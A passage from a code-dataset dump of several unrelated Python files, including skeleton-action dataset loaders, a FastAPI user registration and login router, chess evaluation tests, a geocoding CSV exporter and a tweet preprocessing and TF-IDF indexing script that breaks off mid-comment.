self._test_indices.append(count)\n count += 1\n pr.update(count)\n\n def load_data_by_idx(self, data_idx: int):\n return self._data_label_pairs[data_idx]\n\n # overrides\n def get_data_arrays(self, idx):\n return self.load_data_by_idx(idx)\n\n def __str__(self):\n return 'G3D_Dataset'\n\n\nclass SkeletonDatasetUTKinect(SkeletonDataset):\n \"\"\"\n Load UTKinect-Action3D Dataset (untrimmed) by:\n L. Xia, C.-C. Chen, and J. K. Aggarwal, \"View invariant human action recognition using histograms of 3d\n joints,\" in Computer vision and pattern recognition workshops (CVPRW), 2012 IEEE computer society conference\n on, 2012, pp. 20-27: IEEE.\n\n Dataset description:\n The videos was captured using a single stationary Kinect with Kinect for Windows SDK Beta Version. There are\n 10 action types: walk, sit down, stand up, pick up, carry, throw, push, pull, wave hands, clap hands. There\n are 10 subjects, Each subject performs each actions twice. Three channels were recorded: RGB, depth and\n skeleton joint locations. The three channel are synchronized. The framerate is 30f/s. Note we only recorded\n the frames when the skeleton was tracked, so the frame number of the files has jumps. The final frame rate is\n about 15f/sec. (There is around 2% of the frames where there are multiple skeleton info recorded with\n slightly different joint locations. This is not caused by a second person. You can chooce either one.)\n\n In each video, the subject performs the 10 actions in a concatenate fation, the label of the each action\n segment is given in actionLabel.txt. The dataset contains 4 parts:\n\n (a) and (b) are RGB-D\n\n (c) Sketetal joint Locations (.txt):\n Each row contains the data of one frame, the first number is frame number, the following numbers\n are the (x,y,z) locations of joint 1-20. The x, y, and z are the coordinates relative to the sensor\n array, in meters.\n\n (d) Labels of action sequence (4KB)\n\n \"\"\"\n def __init__(self, directory: str, train_portion: float = 0.5, regression_sigma: float = 5):\n super(SkeletonDatasetUTKinect, self).__init__(directory, regression_sigma, train_portion)\n\n def load_label_map(self):\n self._joints_per_person = SensorJointNumber.KINECT_V1\n\n # As the data loading also involves label tensor (where label are final indices) generations, pre-sorting is\n # required.\n self._labels = sorted(('walk', 'sitDown', 'standUp', 'pickUp', 'carry', 'throw', 'push', 'pull',\n 'waveHands', 'clapHands'))\n file_id = ''\n with open(self.root_dir + 'actionLabel.txt', 'r') as label_file:\n labels_and_time = []\n for line_idx, line in enumerate(label_file, 0):\n line = line.rstrip().replace(':', '')\n if line.strip() == '':\n break # EOF\n if line[0] == 's' and line[1].isdigit():\n if line_idx != 0:\n # store the last sequence\n seq = np.array([], dtype=np.float32).reshape(0, self._joints_per_person * 3)\n frame_label_indices = []\n visited_frame_indices = [] # for discarding duplicate frames\n with open(self.root_dir + 'joints/joints_' + file_id + '.txt', 'r') as data_file:\n for data_line in data_file:\n if data_line.rstrip() == '':\n break # EOF\n temp_list = data_line.split()\n current_frame_idx = int(temp_list[0])\n if current_frame_idx not in visited_frame_indices:\n frame = []\n for joint_idx in range(self._joints_per_person):\n frame.append(float(temp_list[joint_idx * 3 + 1]) * 1000.) # x\n frame.append(float(temp_list[joint_idx * 3 + 2]) * 1000.) # y\n frame.append(float(temp_list[joint_idx * 3 + 3]) * 1000.) # z\n seq = np.vstack((seq, np.array(frame, dtype=np.float32)))\n for idx, time_label_pair in enumerate(labels_and_time, 0):\n if current_frame_idx >= time_label_pair[1]:\n if current_frame_idx <= time_label_pair[2]:\n # frame belongs to an action class\n frame_label_indices.append(self._labels.index(time_label_pair[0]))\n break\n else:\n if idx != len(labels_and_time) - 1:\n next_time_label_pair = labels_and_time[idx + 1]\n if current_frame_idx < next_time_label_pair[1]:\n # unknown action\n frame_label_indices.append(self.label_size)\n break\n else:\n # unknown action\n frame_label_indices.append(self.label_size)\n break\n else:\n # unknown action at the very beginning of the sequence\n frame_label_indices.append(self.label_size)\n break\n visited_frame_indices.append(current_frame_idx)\n self._data_label_pairs.append((seq, np.array(frame_label_indices, dtype=np.int16)))\n self._update_extrema(seq)\n\n # prepare to record the next sequence\n file_id = line\n labels_and_time = []\n continue\n temp_list = line.split()\n label_name = temp_list[0]\n if temp_list[1] == 'NaN' or temp_list[2] == 'NaN': # Invalid frame numbers\n continue\n labels_and_time.append((label_name, int(temp_list[1]), int(temp_list[2])))\n\n def load_data_by_idx(self, data_idx: int):\n return self._data_label_pairs[data_idx]\n\n # overrides\n def get_data_arrays(self, idx):\n return self.load_data_by_idx(idx)\n\n def __str__(self):\n return 'UTKinect_Dataset'\n","repo_name":"howieraem/KinectActionDetection","sub_path":"dataset/skeleton_continuous.py","file_name":"skeleton_continuous.py","file_ext":"py","file_size_in_byte":43336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74523674435","text":"from app.db_conn import Databases\nclass Person:\n def __init__(self,id,name,job,intro,photo_filename):\n #print(repr(intro))\n self.id=id\n self.name=name\n self.job=job\n self.intro=intro.replace('\\n',\"<br>\")\n self.photo_filename=photo_filename\n @staticmethod\n def getAll():\n return [Person(person['id'],\n person['name'],\n person['job'],\n person['intro'],\n person['photo_filename']) for person in Databases.WORKERS_DB.fetchall('SELECT * FROM workers ORDER BY ID')]","repo_name":"Forever-CodingNoob/infor33rd","sub_path":"app/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"18039380996","text":"from posts_title_funct import *\r\nfrom os import system\r\n\r\n\r\nsystem('cls')\r\n\r\nwhile True:\r\n\r\n title = input('Add a title description theme: ')\r\n\r\n body = input(' Insert many description about title theme: ')\r\n\r\n addPost(posts, title, body)\r\n\r\n print(posts)\r\n\r\n query = input('Would you like to add (y/n) ? ')\r\n\r\n if query != 'y':\r\n break\r\n","repo_name":"soft7it/Django","sub_path":"post_title_description/query_post.py","file_name":"query_post.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5252186178","text":"#!/usr/bin/env python\n\nimport argparse\nimport json\nimport os\n\nimport yaml\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument('galaxy_json')\n parser.add_argument(\n '-o', '--ofile',\n required=True\n )\n parser.add_argument(\n '--format', choices=['yaml', 'tab'], default='yaml'\n )\n args = parser.parse_args()\n\n galaxy_collection_info = json.load(open(args.galaxy_json))\n annotation_info = next(iter(galaxy_collection_info.values()))['elements']\n selected_ids = {i['name'] for i in annotation_info}\n package_meta_file = os.path.join(\n os.path.dirname(annotation_info[0]['filename']),\n 'meta.yml'\n )\n meta = yaml.safe_load(open(package_meta_file))\n meta['records'] = [\n rec for rec in meta['records'] if rec['id'] in selected_ids\n ]\n\n with open(args.ofile, 'w') as fo:\n if args.format == 'yaml':\n yaml.dump(\n meta, fo, allow_unicode=False, default_flow_style=False\n )\n else:\n print('Annotation\\tVersion', file=fo)\n for record in meta['records']:\n print(record['name'], record['version'], sep='\\t', file=fo)\n","repo_name":"galaxyproject/tools-iuc","sub_path":"tools/packaged_annotation_loader/retrieve_meta.py","file_name":"retrieve_meta.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"61"} +{"seq_id":"30578947811","text":"Lista = []\nwhile True:\n try:\n opcao = input(\"Digite uma opção: [i]nsire | [d]eletar | [l]ista | [e]xit \\n\")\n\n if opcao.startswith(\"i\"):\n item = input(\"Digite um valor para incluir na lista\")\n Lista.append(item)\n\n elif opcao.startswith(\"d\"):\n try:\n deletar = int(input(\"Qual valor você quer deletar? \\n\"))\n del Lista[deletar]\n except ValueError:\n print(\"Valor não existe na lista\")\n\n elif opcao.startswith(\"l\"):\n if len(Lista) == 0:\n print(\"Sem nada na lista\")\n else:\n for numero in range(len(Lista)):\n print(f\" {numero} -- {Lista[numero]}\")\n elif opcao.startswith(\"e\"):\n for numero in range(len(Lista)):\n print(f\" {numero} -- {Lista[numero]}\")\n break\n else:\n print(\"Digite uma opção!\")\n\n except:\n print(\"Algo deu errado\")","repo_name":"Thiag0nery/Area_Python","sub_path":"listaExercicio/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4634556928","text":"__docformat__ = \"reStructuredText\"\n\nfrom io import StringIO\n\nimport ZConfig.loader\n\n\nloadConfigFile = ZConfig.loader.loadConfigFile\nloadSchemaFile = ZConfig.loader.loadSchemaFile\nloadConfig = ZConfig.loader.loadConfig\nloadSchema = ZConfig.loader.loadSchema\n\n\nversion_info = (3, 0)\n__version__ = \".\".join([str(n) for n in version_info])\n\n\nclass ConfigurationError(Exception):\n \"\"\"Base class for exceptions specific to the :mod:`ZConfig` package.\n\n All instances provide a ``message`` attribute that describes\n the specific error, and a ``url`` attribute that gives the URL\n of the resource the error was located in, or ``None``.\n\n \"\"\"\n\n # The 'message' attribute was deprecated for BaseException with\n # Python 2.6; here we create descriptor properties to continue using it\n def __set_message(self, v):\n self.__dict__['message'] = v\n\n def __get_message(self):\n return self.__dict__['message']\n\n def __del_message(self):\n del self.__dict__['message']\n\n message = property(__get_message, __set_message, __del_message)\n\n def __init__(self, msg, url=None):\n self.message = msg\n self.url = url\n Exception.__init__(self, msg)\n\n def __str__(self):\n return self.message\n\n\nclass _ParseError(ConfigurationError):\n def __init__(self, msg, url, lineno, colno=None):\n self.lineno = lineno\n self.colno = colno\n ConfigurationError.__init__(self, msg, url)\n\n def __str__(self):\n s = self.message\n if self.url:\n s += \"\\n(\"\n elif (self.lineno, self.colno) != (None, None):\n s += \" (\"\n if self.lineno:\n s += \"line %d\" % self.lineno\n if self.colno is not None:\n s += \", column %d\" % self.colno\n if self.url:\n s += \" in %s)\" % self.url\n else:\n s += \")\"\n elif self.url:\n s += self.url + \")\"\n return s\n\n\nclass SchemaError(_ParseError):\n \"\"\"Raised when a schema contains an error.\n\n This exception type provides the attributes ``url``, ``lineno``,\n and ``colno``, which provide the source URL, the line number, and\n the column number at which the error was detected. These attributes\n may be ``None`` in some cases.\n \"\"\"\n\n def __init__(self, msg, url=None, lineno=None, colno=None):\n _ParseError.__init__(self, msg, url, lineno, colno)\n\n\nclass UnknownDocumentTypeError(SchemaError):\n \"\"\"\n Raised when the root element of the document being parsed is\n unexpected.\n \"\"\"\n\n\nclass SchemaResourceError(SchemaError):\n \"\"\"Raised when there's an error locating a resource required by the\n schema.\n\n Instances of this exception class add the attributes ``filename``,\n ``package``, and ``path``, which hold the filename searched for\n within the package being loaded, the name of the package, and the\n ``__path__`` attribute of the package itself (or ``None`` if it\n isn't a package or could not be imported).\n \"\"\"\n\n def __init__(self, msg, url=None, lineno=None, colno=None,\n path=None, package=None, filename=None):\n self.filename = filename\n self.package = package\n if path is not None:\n path = path[:]\n self.path = path\n SchemaError.__init__(self, msg, url, lineno, colno)\n\n def __str__(self):\n s = SchemaError.__str__(self)\n if self.package is not None:\n s += \"\\n Package name: \" + repr(self.package)\n if self.filename is not None:\n s += \"\\n File name: \" + repr(self.filename)\n if self.package is not None:\n s += \"\\n Package path: \" + repr(self.path)\n return s\n\n\nclass ConfigurationSyntaxError(_ParseError):\n \"\"\"Exception raised when a configuration source does not conform to\n the allowed syntax.\n\n In addition to the ``message`` and ``url`` attributes, exceptions\n of this type offer the ``lineno`` attribute, which provides the\n line number at which the error was detected.\n \"\"\"\n\n\nclass DataConversionError(ConfigurationError, ValueError):\n \"\"\"Raised when a data type conversion fails with :exc:`ValueError`.\n\n This exception is a subclass of both :exc:`ConfigurationError` and\n :exc:`ValueError`. The :func:`str` of the exception provides the\n explanation from the original :exc:`ValueError`, and the line\n number and URL of the value which provoked the error. The\n following additional attributes are provided:\n\n ``colno``\n column number at which the value starts, or ``None``\n ``exception``\n the original :exc:`ValueError` instance\n ``lineno``\n line number on which the value starts\n ``message``\n :func:`str` returned by the original :exc:`ValueError`\n ``value``\n original value passed to the conversion function\n ``url``\n URL of the resource providing the value text\n \"\"\"\n\n def __init__(self, exception, value, position):\n ConfigurationError.__init__(self, str(exception))\n self.exception = exception\n self.value = value\n self.lineno, self.colno, self.url = position\n\n def __str__(self):\n s = \"{} (line {}\".format(self.message, self.lineno)\n if self.colno is not None:\n s += \", %s\" % self.colno\n if self.url:\n s += \", in %s)\" % self.url\n else:\n s += \")\"\n return s\n\n\nclass SubstitutionSyntaxError(ConfigurationError):\n \"\"\"Raised when interpolation source text contains syntactical errors.\"\"\"\n\n\nclass SubstitutionReplacementError(ConfigurationSyntaxError, LookupError):\n \"\"\"Raised when the source text contains references to names which are\n not defined in *mapping*.\n\n The attributes ``source`` and ``name`` provide the complete source\n text and the name (converted to lower case) for which no replacement\n is defined.\n \"\"\"\n\n def __init__(self, source, name, url=None, lineno=None):\n self.source = source\n self.name = name\n ConfigurationSyntaxError.__init__(\n self, \"no replacement for \" + repr(name), url, lineno)\n\n\ndef configureLoggers(text):\n \"\"\"Configure one or more loggers from configuration text.\"\"\"\n\n schema = ZConfig.loader.loadSchemaFile(StringIO(\"\"\"\n <schema>\n <import package='ZConfig.components.logger'/>\n <multisection type='logger' name='*' attribute='loggers'/>\n </schema>\n \"\"\"))\n\n config, _ = ZConfig.loader.loadConfigFile(schema, StringIO(text))\n for factory in config.loggers:\n factory()\n","repo_name":"zopefoundation/ZConfig","sub_path":"src/ZConfig/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6549,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"74643168195","text":"import csv\nimport json\nimport os\nfrom utils.db import Database\n\ndb = Database()\n\nlocation_count = 0\nloc_component_count = 0\nloc_type_count = 0\n\n# Open csv files which reflect database tables\nwith open('locations.csv', 'w', newline='') as loc_file, \\\n open('loc_components.csv', 'w', newline='') as loc_components_file, \\\n open('loc_types.csv', 'w', newline='') as loc_types_file:\n\n location_writer = csv.writer(loc_file, delimiter='\\t')\n loc_components_writer = csv.writer(loc_components_file, delimiter='\\t')\n loc_types_writer = csv.writer(loc_types_file, delimiter='\\t')\n\n # Walk through articles directory\n for root, dirs, files in os.walk('.\\\\geocode_results'):\n for f in files:\n path = os.path.join(root, f)\n print(path)\n\n with open(path, 'r') as geo_file:\n geo_response = json.load(geo_file)\n\n location_count += 1\n\n if geo_response['status'] == 'ZERO_RESULTS':\n location_writer.writerow([\n location_count,\n geo_response['address'],\n None,\n geo_response['collected_utc_date'],\n None,\n 0, 0,\n False,\n 0, 0, 0, 0\n ])\n continue\n\n geo_result = geo_response['results'][0]\n\n for component in geo_result['address_components']:\n loc_component_count += 1\n loc_components_writer.writerow([\n loc_component_count,\n component['long_name'].encode(\"ascii\", errors=\"ignore\").decode(),\n component['types'][0] if len(component['types']) > 0 else \"NO_TYPE\",\n location_count\n ])\n\n for t in geo_result['types']:\n loc_type_count += 1\n loc_types_writer.writerow([\n loc_type_count,\n t,\n location_count\n ])\n\n has_bounds = 'bounds' in geo_result['geometry']\n\n location_writer.writerow([\n location_count,\n geo_response['address'],\n geo_result['formatted_address'].encode(\"ascii\", errors=\"ignore\").decode(),\n geo_response['collected_utc_date'],\n geo_result['geometry']['location_type'],\n geo_result['geometry']['location']['lat'],\n geo_result['geometry']['location']['lng'],\n has_bounds,\n geo_result['geometry']['bounds']['northeast']['lat'] if has_bounds else 0,\n geo_result['geometry']['bounds']['northeast']['lng'] if has_bounds else 0,\n geo_result['geometry']['bounds']['southwest']['lat'] if has_bounds else 0,\n geo_result['geometry']['bounds']['southwest']['lng'] if has_bounds else 0\n ])\n\nprint(\"Inserting Locations\", location_count)\ndb.copy_from_file('locations', 'locations.csv', False)\n\nprint(\"Inserting Location Components\", loc_component_count)\ndb.copy_from_file('location_components', 'loc_components.csv', False)\n\nprint(\"Inserting Location Types\", loc_type_count)\ndb.copy_from_file('location_types', 'loc_types.csv', False)","repo_name":"kmcurry/story-where","sub_path":"geocode-to-db.py","file_name":"geocode-to-db.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18037584077","text":"from openroad import Design, Tech\nimport helpers\nimport gpl_aux\n\ntech = Tech()\ntech.readLef(\"asap7/asap7_tech_1x_201209.lef\")\ntech.readLef(\"asap7/asap7sc7p5t_28_R_1x_220121a.lef\")\ndesign = Design(tech)\ndesign.readDef(\"./nograd01.def\")\n\ngpl_aux.global_placement(design, skip_io=True)\n\ndef_file = helpers.make_result_file(\"nograd01.def\")\ndesign.writeDef(def_file)\nhelpers.diff_files(def_file, \"nograd01.defok\")\n","repo_name":"The-OpenROAD-Project/OpenROAD","sub_path":"src/gpl/test/nograd01.py","file_name":"nograd01.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":1027,"dataset":"github-code","pt":"61"} +{"seq_id":"6424767935","text":"\nfrom typing import Annotated\nfrom fastapi import APIRouter, Body, Depends\nfrom fastapi.responses import JSONResponse\nfrom pydantic import BaseModel\nfrom starlette import status\nfrom core.models.user import User, UpdateUser\nfrom core.database import db\nfrom core.security import is_match, Jwt, Claims, authenticate\n\nrouter = APIRouter(prefix='/user')\n\n@router.post('/register')\nasync def register(user: User = Body(...)):\n user = user.to_dict()\n\n res = check_unique(user)\n if res is not None:\n return not_uniq_response(res)\n \n res = db.user.insert_one(user)\n\n content = {'data': {'id': res.inserted_id}}\n return JSONResponse(status_code=status.HTTP_201_CREATED, content=content)\n\n\nclass LoginBody(BaseModel):\n username: str\n password: str\n\n@router.post('/login')\nasync def login(form_data: LoginBody = Depends()):\n un = form_data.username\n user = db.user.find_one({'username': un})\n if user is None:\n return JSONResponse(status_code=status.HTTP_404_NOT_FOUND, content={'error':f'no user with such username {un}'})\n if not is_match(form_data.password, user['password']):\n return JSONResponse(status_code=status.HTTP_401_UNAUTHORIZED, content={'error': 'password do not match'})\n\n token = Jwt.encode(Claims(user['_id']))\n return JSONResponse(status_code=status.HTTP_201_CREATED, content={'data': {'token': token}})\n\n\n@router.patch('/update/')\nasync def update_user(uid: Annotated[str, Depends(authenticate)], update_user: UpdateUser = Body(...)):\n update_user = update_user.to_dict()\n\n res = check_unique(update_user)\n if res is not None:\n return not_uniq_response(res)\n \n res = db.user.update_one({\"_id\": uid}, {'$set': update_user})\n\n if res.modified_count == 0:\n return JSONResponse(status_code=status.HTTP_404_NOT_FOUND, content=f'No user with id({id}) found.')\n\n content = {'data': {'count': res.modified_count}}\n return JSONResponse(status_code=status.HTTP_200_OK, content=content)\n\n\n@router.delete('/delete/')\nasync def delete_user(uid: Annotated[str, Depends(authenticate)]):\n res = db.user.delete_one({'_id': uid})\n if res.deleted_count == 0:\n return JSONResponse(status_code=status.HTTP_404_NOT_FOUND, content=f'No user with id({id}) found.')\n content = {'data': {'count': res.deleted_count}}\n return JSONResponse(status_code=status.HTTP_200_OK, content=content)\n\n\ndef check_unique(user: dict) -> bool:\n to_check = ['username', 'email', 'phone_number']\n for param in to_check:\n if param not in user:\n continue;\n res = db.user.find_one({param: user[param]})\n if res is not None:\n return param\n return None\n\ndef not_uniq_response(param: str) -> JSONResponse:\n content = {\n 'error': {\n 'not unique': param\n }\n }\n return JSONResponse(status_code=status.HTTP_409_CONFLICT, content=content)\n","repo_name":"GuzekAlan/BookShelfIO","sub_path":"backend/core/routes/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36062714564","text":"############DEBUGGING#####################\n\n# Describe Problem\n#Use a Debugger\ndef mutate(a_list):\n b_list = []\n for item in a_list:\n new_item = item * 2\n b_list.append(new_item)\n print(b_list)\n\nmutate([1, 2, 3, 5, 8, 13])\n\n#Issue: The issue it that the code returns a string, instead of multiplyin each variable * 2 in the 'mutate' list!\n","repo_name":"davidtc8/Debugging_Exercises","sub_path":"Exercise 6/exercise6.py","file_name":"exercise6.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39859275649","text":"# test_evalpos.py = test <evalpos.py>\n\nfrom ulib import lintest\n\nfrom board import *\nimport evalpos\nfrom evalpos import staticEval, material\n\n#---------------------------------------------------------------------\n\nclass T_material(lintest.TestCase):\n \"\"\" test materal evaluation \"\"\"\n \n def test_empty(self):\n b = Board() \n v = material(b)\n self.assertSame(v, 0, \"material ev for empty board\")\n \n def test_start(self):\n b = Board.startPosition() \n v = material(b)\n self.assertSame(v, 0, \"material ev for start position\")\n \n def test_pawn(self):\n b = Board()\n b.setSq(\"a2\", WP)\n v = material(b)\n self.assertSame(v, evalpos.P_VALUE, \"pawn value\")\n \n def test_knight(self):\n b = Board()\n b.setSq(\"a2\", BN)\n v = material(b)\n self.assertSame(v, -evalpos.N_VALUE, \"knight value\")\n \n def test_bishop(self):\n b = Board()\n b.setSq(\"a2\", WB)\n v = material(b)\n self.assertSame(v, evalpos.B_VALUE, \"bishop value\")\n \n def test_rook(self):\n b = Board()\n b.setSq(\"f2\", BR)\n v = material(b)\n self.assertSame(v, -evalpos.R_VALUE, \"rook value\")\n \n def test_queen(self):\n b = Board()\n b.setSq(\"g2\", WQ)\n v = material(b)\n self.assertSame(v, evalpos.Q_VALUE, \"queen value\")\n \n def test_king(self):\n b = Board()\n b.setSq(\"h5\", BK)\n v = material(b)\n self.assertSame(v, -evalpos.K_VALUE, \"king value\")\n\n \n#---------------------------------------------------------------------\n\nclass T_pawnStructure(lintest.TestCase):\n \"\"\" test pawn structure \"\"\"\n \n def test_doubledIsolated_empty(self):\n b = Board()\n v = evalpos.pawnStructureW(b)\n self.assertSame(v, 0, \"no doubled/isolated pawns on empty board\")\n \n def test_doubledIsolated_start(self):\n b = Board.startPosition()\n v = evalpos.pawnStructureW(b)\n self.assertSame(v, 0, \"no doubled/isolated pawns on start position\")\n \n \n def test_isolated(self):\n b = Board()\n b.setSq(\"b2\", WP)\n v = evalpos.pawnStructureW(b)\n self.assertSame(v, evalpos.ISOLATED+evalpos.PASSED, \n \"passed isolated pawn on b2\")\n \n \n def test_doubledIsolatedWhite(self):\n b = Board()\n b.setSq(\"f7\", BP)\n b.setSq(\"f6\", BP)\n b.setSq(\"f4\", BP)\n v = evalpos.pawnStructureW(b)\n self.assertSame(v, 0, \n \"no white pawns\")\n \n v = evalpos.pawnStructureW(b.getMirror())\n self.assertSame(v, \n evalpos.ISOLATED*3 + evalpos.DOUBLED*2 \n + evalpos.PASSED + evalpos.PASSED_ADVANCE[9-4], \n \"black->white tripled isolated pawns on f-file, but passed\")\n \n \n \n#---------------------------------------------------------------------\n\nclass T_mobility(lintest.TestCase):\n \"\"\" test mobility (and king attack/defence) \"\"\"\n \n def test_calcSqImportance(self):\n b = Board.startPosition()\n sqImp = evalpos.calcSqImportance(b)\n self.assertSame(len(sqImp), len(b.sq), \n \"square-importance array (sqImp) is the right length\")\n prn(\"square importance:\")\n prn(\" a b c d e f g h\")\n for rk in ranks[::-1]:\n pr(\"{} : \", rk)\n for f in files:\n pr(\"{} \", sqImp[toSqix((f,rk))])\n #//for f\n pr(\"\\n\")\n #//for rk \n \n def test_mobility(self):\n b = Board.startPosition()\n v = evalpos.mobility(b)\n self.assertSame(v, 0, \"sum mobility W-B is zero\")\n \n \n#---------------------------------------------------------------------\n\nclass T_swapOff(lintest.TestCase):\n \"\"\" test swap-off \"\"\"\n \n def test_lumpByDest(self):\n \"\"\"lumpByDest() function \"\"\"\n mvs = [(32,33), (32,34), (45,46), (44,34)]\n r = evalpos.lumpByDest(mvs)\n self.assertSame(r[21], [], \"no moves go to a1\")\n self.assertSame(r[33], [(32,33)], \"one move goes to b3\")\n self.assertSame(r[34], [(32,34), (44,34)], \"2 moves go to b4\")\n self.assertSame(r[46], [(45,46)], \"one move goes to c5\")\n \n def test_swapOffSq(self):\n \"\"\" swapOffSq() function \"\"\"\n \n \n \n#---------------------------------------------------------------------\n\ngroup = lintest.TestGroup()\ngroup.add(T_material)\ngroup.add(T_pawnStructure)\ngroup.add(T_mobility)\ngroup.add(T_swapOff)\n\nif __name__=='__main__': group.run()\n\n\n#end\n","repo_name":"cabalamat/calichess","sub_path":"test_evalpos.py","file_name":"test_evalpos.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7724511506","text":"import datetime\nfrom random import random\n\nimport json\nfrom collections import defaultdict\nimport nltk\nfrom nltk.stem import PorterStemmer\nfrom nltk.corpus import stopwords\nfrom num2words import num2words\nimport re\nimport string\nfrom array import array\nimport math\nimport numpy as np\nfrom datetime import datetime, timedelta\nfrom email.utils import parsedate_tz\nnltk.download('stopwords')\n\n\n#From string retrieved by twitter to datetime object\ndef to_datetime(datestring):\n time_tuple = parsedate_tz(datestring.strip())\n dt = datetime(*time_tuple[:6])\n return dt - timedelta(seconds=time_tuple[-1])\n\n#The most recent date for a tweet. To measure the days passed from last to most recent\nlast = \"Wed Oct 13 09:15:58 +0000 2021\"\nlast_date = to_datetime(last)\n\n#From a date to days elapsed, starting at the latest tweet\ndef parse_date(date):\n date = to_datetime(date)\n return abs((last_date - date).days)\n\n#Function to assess whether a string is a number or not\ndef is_number(string):\n try:\n float(string)\n return True\n except ValueError:\n return False\n\n# Function to remove emojis from a text\ndef remove_emojis(data):\n \"\"\"\n Removes all emojis from a string of text\n \"\"\"\n emoj = re.compile(\"[\"\n u\"\\U0001F600-\\U0001F64F\" # emoticons\n u\"\\U0001F300-\\U0001F5FF\" # symbols & pictographs\n u\"\\U0001F680-\\U0001F6FF\" # transport & map symbols\n u\"\\U0001F1E0-\\U0001F1FF\" # flags (iOS)\n u\"\\U00002500-\\U00002BEF\" # chinese char\n u\"\\U00002702-\\U000027B0\"\n u\"\\U00002702-\\U000027B0\"\n u\"\\U000024C2-\\U0001F251\"\n u\"\\U0001f926-\\U0001f937\"\n u\"\\U00010000-\\U0010ffff\"\n u\"\\u2640-\\u2642\" \n u\"\\u2600-\\u2B55\"\n u\"\\u200d\"\n u\"\\u23cf\"\n u\"\\u23e9\"\n u\"\\u231a\"\n u\"\\ufe0f\" # dingbats\n u\"\\u3030\"\n \"]+\", re.UNICODE)\n return re.sub(emoj, '', data)\n\ndef build_terms(tweet):\n \"\"\"\n Preprocess the article text (title + body) removing stop words, stemming,\n transforming in lowercase and return the tokens of the text.\n\n Argument:\n line -- string (text) to be preprocessed\n\n Returns:\n line - a list of tokens corresponding to the input text after the preprocessing\n \"\"\"\n\n # Removing links\n tweet = tweet.split()\n tweet = ' '.join([word for word in tweet if \"http\" not in word])\n\n # removing emojis\n tweet = remove_emojis(tweet)\n\n # Detecting hashtags\n tweet = re.sub(r\"(\\s|^)\\#(\\S)\", r\"\\1 hashtag \\2\", tweet)\n tweet = re.sub(r\"(\\s|^)\\@(\\S)\", r\"\\1 atsign \\2\", tweet)\n\n punctuation_marks = set(string.punctuation + \"…\" + \"’\" + \"“\" + \"”\") - set([\".\", \"-\", \"/\", \"%\", \"$\", \"\\n\"])\n tweet = ''.join(ch for ch in tweet if ch not in punctuation_marks)\n\n # we just replace any slash to a white space.\n tweet = re.sub(\"/\", \" \", tweet)\n\n # We replace any point placed at the end of a number into a white space (if we didn't do so, we would have problems in the \"num2words\" step)\n tweet = re.sub(r\"(\\d)\\.(\\D)\", r\"\\1 \\2\", tweet)\n\n # Replacing any quantity with the dollar sign to the quantity followed by the word \"dollars\".\n tweet = re.sub(r'\\$([0-9]+\\.?[0-9]*)', '\\g<1> dollars', tweet)\n\n # Replacing any \"%\" sign to the word \"percent\"\n tweet = re.sub(\"%\", \" percent\", tweet)\n\n # Replacing any \"-\" sign to a white space\n tweet = re.sub(r\"[-–]\", \" \", tweet)\n\n # Any quantity followed by \"s\" is now followed by the \"seconds\" word (instead of the \"s\" char)\n tweet = re.sub(r\"(\\d)s\", r\"\\1 seconds\", tweet)\n\n # \"Num2words\" step. We iterate through every word of the current text and we check if the word is actually a number (by using\n # the function defined above). If it is a number, we replace it by its word representation. If not, we just leave it as it is.\n words = tweet.split(\" \")\n tweet = \"\"\n for word in words:\n if is_number(word):\n try:\n word = num2words(float(word))\n except:\n print(\"Error trying to transform \" + str(word) + \" into number\")\n tweet += word + \" \"\n\n # After converting numbers to words, commas and hyphens can appear again, so we have to remove them with the same code used before\n tweet = re.sub(r\"[-–]\", \" \", tweet)\n tweet = re.sub(\",\", \"\", tweet)\n\n # After converting numbers to words, we can also remove all the remaining dots\n tweet = ''.join(ch for ch in tweet if ch != \".\")\n\n # If we had more than one consecutive white space, we replace it by a single one\n tweet = re.sub(' +', ' ', tweet)\n\n # Transform WHO to World Health Organization\n tweet = tweet.split()\n tweet = [\"WORLD\" if word == \"W\" else word for word in tweet]\n tweet = [\"HEALTH\" if word == \"H\" else word for word in tweet]\n tweet = \" \".join([\"ORGANIZATION\" if word == \"O\" else word for word in tweet])\n\n # converting all the characters to lowercase\n tweet = tweet.lower()\n\n # removing stop words\n tweet = tweet.split()\n stop_words = set(stopwords.words(\"english\"))\n tweet = [word for word in tweet if word not in stop_words] ##eliminate the stopwords\n\n # stemming\n stemmer = PorterStemmer()\n tweet = [stemmer.stem(word) for word in tweet] ## perform stemming\n\n ## END CODE\n return tweet\n\ndef create_index_tfidf(tweets, num_tweets):\n \"\"\"\n Implement the inverted index and compute tf, df and idf\n\n Argument:\n lines -- collection of Wikipedia articles\n num_documents -- total number of documents\n\n Returns:\n index - the inverted index (implemented through a Python dictionary) containing terms as keys and the corresponding\n list of document these keys appears in (and the positions) as values.\n tf - normalized term frequency for each term in each document\n df - number of documents each term appear in\n idf - inverse document frequency of each term\n \"\"\"\n\n index = defaultdict(list)\n tf = defaultdict(list) # term frequencies of terms in documents (documents in the 